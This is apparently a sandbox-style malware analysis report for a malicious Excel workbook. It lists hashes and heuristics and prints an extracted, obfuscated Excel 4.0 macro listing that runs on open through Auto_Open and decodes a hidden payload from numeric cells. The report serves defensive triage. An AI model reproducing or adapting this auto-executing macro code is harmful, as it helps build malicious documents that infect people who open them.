Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 88c8dcffd33b4dd9…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:45:58 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: 87d13b3421a93232c8e1af02c784f33b SHA-1: f61f208bcbe3f5d49df47b7a99b3007bec00166a SHA-256: 88c8dcffd33b4dd94c47ae7c8a3b140ff8629c3c6b9f0da07f964fa5614ed7b3
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The critical heuristics indicate the presence of Excel 4.0 macros with an Auto_Open defined name, which is a known method for executing malicious code. The macro sheet contains a dangerous formula API, specifically the RUN function, suggesting it's designed to launch an executable. The macro sheet itself is named 'HyXyt', and the Auto_Open function is present, confirming the intent to execute code upon opening the workbook.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6571 bytes
SHA-256: be7a17fc9f86ba7b67fc26fefb4f3d2e9f18317a4892959da4015c3578f1ae00
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  HyXy
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F131 
' 0018     24 LABEL : Cell Value, String Constant - DjkBoziQd len=0 
' 0018     27 LABEL : Cell Value, String Constant - DSvWkZogbNrp len=0 
' 0018     22 LABEL : Cell Value, String Constant - EnvigmJ len=0 
' 0018     20 LABEL : Cell Value, String Constant - fbtWc len=0 
' 0018     26 LABEL : Cell Value, String Constant - FQMxTBbrjXc len=0 
' 0018     26 LABEL : Cell Value, String Constant - gGLwfHJhmKV len=0 
' 0018     23 LABEL : Cell Value, String Constant - JgzNNZcB len=0 
' 0018     27 LABEL : Cell Value, String Constant - JVlIygvqxKHF len=0 
' 0018     20 LABEL : Cell Value, String Constant - NTSaj len=0 
' 0018     20 LABEL : Cell Value, String Constant - PGTBM len=0 
' 0018     24 LABEL : Cell Value, String Constant - pnbsqxlRi len=0 
' 0018     20 LABEL : Cell Value, String Constant - QFbZE len=0 
' 0018     20 LABEL : Cell Value, String Constant - tcEeF len=0 
' 0018     20 LABEL : Cell Value, String Constant - WiBcd len=0 
' 0018     22 LABEL : Cell Value, String Constant - WkHXlmV len=0 
' 0018     25 LABEL : Cell Value, String Constant - ycDIDrTTfU len=0 
' 0018     23 LABEL : Cell Value, String Constant - yIFEDrLr len=0 
' 0018     24 LABEL : Cell Value, String Constant - YWfyjIgWs len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZilXXuyIkZW len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZNztXPibBV len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  HyXy,F45,"SET.NAME("WiBcd",0+VALUE("0"))",""
'  HyXy,F47,"SET.NAME("WkHXlmV",WiBcd)",""
'  HyXy,F49,"SET.NAME("DjkBoziQd",WiBcd)",""
'  HyXy,F54,"SET.NAME("QFbZE",COUNTA(ZilXXuyIkZW))",""
'  HyXy,F57,"SET.NAME("yIFEDrLr",COUNTA(FQMxTBbrjXc))",""
'  HyXy,F61,[],""
'  HyXy,Q62,"",-333.00000000000000000000
'  HyXy,F63,"SET.NAME("ycDIDrTTfU","")",""
'  HyXy,Q63,"",633.00000000000000000000
'  HyXy,Q64,"",25.00000000000000000000
'  HyXy,Q65,"",-68.00000000000000000000
'  HyXy,Q66,"",443.00000000000000000000
'  HyXy,F67,"WkHXlmV",""
'  HyXy,Q67,"",-948.00000000000000000000
'  HyXy,F71,"SET.NAME("JgzNNZcB",HLOOKUP("*",ZilXXuyIkZW,WkHXlmV,FALSE))",""
'  HyXy,F75,"gGLwfHJhmKV",""
'  HyXy,F79,"SET.NAME("JVlIygvqxKHF",WiBcd)",""
'  HyXy,F82,[],""
'  HyXy,F84,"JVlIygvqxKHF",""
'  HyXy,F86,"EnvigmJ",""
'  HyXy,F90,"ZNztXPibBV",""
'  HyXy,F95,"pnbsqxlRi",""
'  HyXy,F99,"SET.NAME("YWfyjIgWs",VALUE(HLOOKUP("*",FQMxTBbrjXc,pnbsqxlRi,FALSE)))",""
'  HyXy,F101,"PGTBM",""
'  HyXy,F105,"ycDIDrTTfU",""
'  HyXy,F107,"DjkBoziQd",""
'  HyXy,F112,NEXT(),""
'  HyXy,F114,"fbtWc",""
'  HyXy,F117,[],""
'  HyXy,F120,"DSvWkZogbNrp",""
'  HyXy,F125,NEXT(),""
'  HyXy,F128,RETURN(),""
'  HyXy,F150,"SET.NAME("tcEeF",F45)",""
'  HyXy,F152,"ZilXXuyIkZW",""
'  HyXy,F156,"SET.NAME("FQMxTBbrjXc",R84C12)",""
'  HyXy,F160,"SET.NAME("DSvWkZogbNrp",169)",""
'  HyXy,F163,"SET.NAME("NTSaj",6)",""
'  HyXy,F168,tcEeF(),""
'  HyXy,F169,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.